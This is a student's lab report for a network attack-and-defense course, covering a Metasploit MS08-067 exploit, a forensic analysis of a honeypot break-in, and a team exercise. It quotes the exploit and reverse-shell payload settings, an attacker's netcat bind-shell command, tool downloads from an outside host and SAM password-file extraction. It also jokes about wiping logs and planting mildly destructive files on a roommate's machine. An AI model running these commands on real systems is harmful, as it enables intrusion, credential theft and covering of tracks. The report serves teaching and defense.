20212931 2021-2022-2 《网络攻防实践》第六次实验任务
一、实践内容
(一)知识点
1.Windows操作系统基本框架
- windows操作系统内核基本模块包含:windows执行体、windows内核、设备驱动程序、硬件抽象层、窗口和图形系统
2.Windows操作系统网络机制
- windows操作系统网络机制基本模块包含:网卡硬件设备驱动程序(物理层)、NDIS库及mimiport驱动(数据链路层)、TDI(传输层)、网络API DLL及TDI客户端(会话层和表示层)、网络应用服务程序与服务进程(网络应用服务程序与服务进程)
3.Windows操作系统安全体系结构与机制
- 3.1 Windows安全体系结构:Windows操作系统基于引用监控器模型来实现基本的对象安全模型。其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制。
- 3.2 Windows身份认证机制:Windows系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
- 3.3 windows安全审计机制和其他安全机制:LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存。除此之外,安全中心还具有防火墙、补丁自动更新、病毒防护机制。安全中心之外还有,IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。
4.Windows远程安全攻防技术
- 4.1 windows远程安全攻防的分类:远程口令猜测与破解攻击、攻击windows网络服务、攻击windows客户端及用户
- 4.2 Metasploit整体结构:
- 4.3 Metasploit相关模块、介绍:
Exploits:漏洞模块,使用“有效载荷(payloads)”的模块
Payloads:有效载荷,由远程运行的代码组成
Encoders:编码器,确保“有效载荷”到达目的地
Nops:空指令模块,保持“有效载荷”大小一致 - 4.4 windows远程攻击方法的防御措施
口令猜测和破解:关闭不需要的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
远程渗透攻击防范措施:从软件设计上尽量减少渗透攻击、尽可能快的更新安全补丁、为零日漏洞配置缓解攻击配置、利用安全清单插件来固化网络、通过漏洞扫描软件来标识存在的漏洞。
5.Windows本地安全攻防技术
- 5.1 windows本地特权提升
本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
防范措施:及时打补丁、及时跟进厂家的安全警告 - 5.2 windows敏感信息窃取
包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
防范措施:使用安全度高、能抵挡破解的口令 - 5.3 windows消灭踪迹
主要手段包括、关闭审计功能、清理事件日志。
防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。 - 5.4 远程控制与后门
主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
(二)实践内容
- 1.动手实践Metasploit windows attacker
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
- 2.取证分析实践:解码一次成功的NT系统破解攻击
- 3.团队对抗实践:windows系统远程渗透攻击和分析
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
二、实践过程
(一)动手实践Metasploit windows attacker
-
- 首先在这里我们使用ms03_026作为我们攻击的目标漏洞,通过use exploit/windows/dcerpc/ms08_067_netapi使用相关攻击脚本
-
- 接下来设置攻击的载荷,载荷的相关含义我们在上文提到过。通过命令set PAYLOAD generic/shell_everse_tcp设置打开反向连接的载荷
-
- 将靶机设置为攻击目标RHOST,将kali设为攻击方LHOST,通过exploit发起攻击
得到meterpreter返回之后表示攻击成功,我们运行shell指令,开启靶机的shell。 -
- 验证攻击效果
留下自己的嘲讽文件的同时,别忘了删除自己行动残留的日志~
(二)取证分析实践:解码一次成功的NT系统破解攻击
> 既然要解码一次攻击,协议数据流的分析必不可少,用wireshark去分析snort-0204@0117.log再好不过。
> 大致浏览文件,在关注协议种类的同时,注意协议包的内容,特别是一些敏感词汇和特殊不可识别数据,便可以逐层去揭开攻击者的蛛丝马迹。
-
- 攻击者使用了什么破解工具进行攻击
数据包太杂,先根据地址过滤一波,果然发现不太寻常的诡异数据(特殊字符%C0%AF)
跟踪一手TCP数据流,但没有更多信息,严重怀疑问题出在特殊字符上
百度一下,果然发现存在该类攻击
根据攻击原理,我们继续在过滤后的数据包内浏览,发现攻击者多次试图向服务器获取一个msadcs.dll文件
查询这个特殊文件,发现该dll文件存在RDS漏洞
同时,由于ADM!ROX!YOUR!WORLD字符串出现的频率很高,以及后续的查询语句,可以确定这是一个名为msadc2.pl工具发起的攻击。 -
- 攻击者如何使用这个破解工具进入并控制了系统
在浏览数据包后,我们可以发现,攻击方的RDS攻击多次尝试后并没有成功,而后转向Unicode 攻击。
而成功进入系统后,一个一个TCP数据流追踪,我并没有看懂攻击者在干嘛,而后我又重新过滤了一下HTTP,发现攻击者建立了一个ftp连接,而后我想到攻击者其中的一个操作,他删除了一个ftpcom文件,好了前后串联起来了。
所以说这家伙干了个什么事呢,先利用ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。失败了许多次,然后成功了,而后蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程 shell 通道。cmd1.exe /c nc -l -p 6969 -e cmd1.exe接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。
-
- 攻击者获得系统访问权限后做了什么?
经过2的分析,我们知道攻击者攻击建立的端口是6969,筛选,追踪连续的TCP数据流,我们就能看到他干了些什么。
还记得之前提到的删除操作吗,建立连接后,他迅速清空了自己的残留脚本,十分谨慎。而后尝试查看一些用户信息,执行了net session(列出会话)等,失败了。
然后他尝试寻找msadc目录,执行pdump尝试破解administrator的口令密文,失败。
然后删除失败的应用,使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-(攻击者输了多次才找到正确的)备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。
令人迷惑的是,中间过程,攻击者主动退出了端口6969,重新建立了一个端口6968,进行了unicode攻击。在这个数据流内,攻击者将SAM文件拷贝到IIS的根目录inetpub,之后又尝试删除这个文件,又然查看了一些盘符,之后退出。
而后,又重新建立连接,留下了几个文件,和一句嘲讽。
-
- 我们如何防止这样的攻击
要防范攻击,我们就要了解漏洞和系统,例如本次使用的IIS4.x,被利用的两个漏洞为RDS和Unicode漏洞,通过打补丁可防止遭受同样的攻击。同时,我们要禁用用不着的 RDS 等服务,防火墙封禁网络内部服务器发起的连接,为 web server 在单独的文件卷上设置虚拟根目录,使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能,使用 IIS Lockdown 和 URLScan 等工具加强 web server。
-
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
真是个好玩的家伙,他警觉了,还留下了自己善意的嘲讽。
(三)团队对抗实践: Windows系统远程渗透攻击与分析
-
- 这次实验本来想自己在虚拟机上做得,利用桥接模式,进攻靶机XP系统,但中途XP疯狂抽风,建立连接时,端口全部锁死,开了端口后,防火墙设置失效,连接还丢失,无奈,选择进攻舍友的Win2KServer。
-
- 作为攻击方:
首先利用nmap对这家伙的网络环境扫了一下,确定了攻击目标的ip=192.168.60.7,并测试是否能够连通。
重复实验1的操作
顺手给他靶机留了点好玩的,下次实验开机,他就应该能看到了,一丢丢的破坏性而已。 -
- 作为防守方:
开启wireshark等待被攻击,然后分析数据流
老规矩,要推测被利用的漏洞和攻击手段,先根据自己的地址筛选一下。
大量的SMB数据包,根据漏洞MS08-067的原理,通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发,就可以确定又被重复利用了。
同时根据多次出现的445端口,筛选一下,追踪一下,就能看到他仅仅简单浏览了一下我的目录。
三、遇到的问题
- 问题:在分析攻击行为的时候,很难确定他行为的起始和意义
- 解决方案:首先要根据确定的攻击手段原理,设立好筛选条件,然后在数据流中重点关注一些特殊的字符串和重复的非正常操作行为,一般即攻击的开始,后续根据数据流,查询还原的操作数据内容,确定其目标和操作对象,特别是攻击者的一些删除行为,需要引起重点关注,其脚本和构建内容,便是狐狸尾巴所在。
四、实验感悟
> 本次实验切身体会了一波对Windows系统的入侵,入侵简单,分析难,特别是攻击者使用复数的攻击手段,大大增加了分析难度,也确实体会了一波,Windows系统漏洞之多。